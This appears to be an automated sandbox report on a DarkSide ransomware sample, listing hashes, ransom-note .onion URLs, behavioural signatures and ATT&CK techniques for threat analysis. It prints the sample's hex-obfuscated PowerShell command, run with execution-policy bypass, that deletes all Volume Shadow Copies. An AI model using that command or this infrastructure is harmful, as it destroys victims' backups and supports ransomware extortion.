Analysis
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max time kernel
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max time network
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platform
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resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
13/03/2025, 18:53
Static task
static1
Behavioral task
behavioral1
Sample
2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe
Resource
win10v2004-20250313-en
General
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Target
2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe
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Size
40KB
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MD5
1d799fb2da06be5fa821394bbbada9f0
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SHA1
9b85d4729aa2ccbd4e87c2d834a827b2277cfa3d
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SHA256
74f81828fa61650baef0ea57869be1f664b7acb0a834592a118ec7bc0291bf40
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SHA512
4ef2876589a1090ca8b29b0696e0562f81d934b94b44ae1144ec7e9443b5629e0be66e6fd8296f76fc763c58b7977f6d30a70832442c972195240b5005ef52ec
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SSDEEP
384:/oyzEpcGhIxJl9JEdauBNa/nu333s8JrxRMt0GNtslmlLpB1pyLloyGw6Bm7lpIt:/o4EpThIpEdauX3hS/sj5kGudUj9Vg
Malware Config
Extracted
C:\Users\README.45d07fdc.TXT
darkside
http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC
http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Darkside family
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Renames multiple (142) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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pid Process 2488 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe 2488 powershell.exe 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeSecurityPrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeTakeOwnershipPrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeLoadDriverPrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeSystemProfilePrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeSystemtimePrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeProfSingleProcessPrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeIncBasePriorityPrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeCreatePagefilePrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeBackupPrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeRestorePrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeShutdownPrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeDebugPrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeSystemEnvironmentPrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeRemoteShutdownPrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeUndockPrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeManageVolumePrivilege 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: 33 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: 34 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: 35 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe Token: SeDebugPrivilege 2488 powershell.exe Token: SeBackupPrivilege 2688 vssvc.exe Token: SeRestorePrivilege 2688 vssvc.exe Token: SeAuditPrivilege 2688 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1696 wrote to memory of 2488 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe 30 PID 1696 wrote to memory of 2488 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe 30 PID 1696 wrote to memory of 2488 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe 30 PID 1696 wrote to memory of 2488 1696 2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe 30 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe"C:\Users\Admin\AppData\Local\Temp\2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1696 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2488
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2688
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5240bd13f21315a86507a7435e41761aa
SHA168578a99645845a39d82b0c911fcae13b77706eb
SHA25638c199394d40285b7b2d188e051286a52638d559cba4b791a03c6b4c4af11a52
SHA512bec3816c640d6b1cb38ebb523dc12d9876753a53554fdd58718725d52584f5d1768c10c398d3fb21b3015841252075763448016f6b380a13d1dea6bf3214cf72
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Filesize
2KB
MD525d0b19a0ec34a39dfa3e177866f01a3
SHA1a3704d1f6499738ccd694bdd6008a850c6b2e453
SHA256f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8
SHA512ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198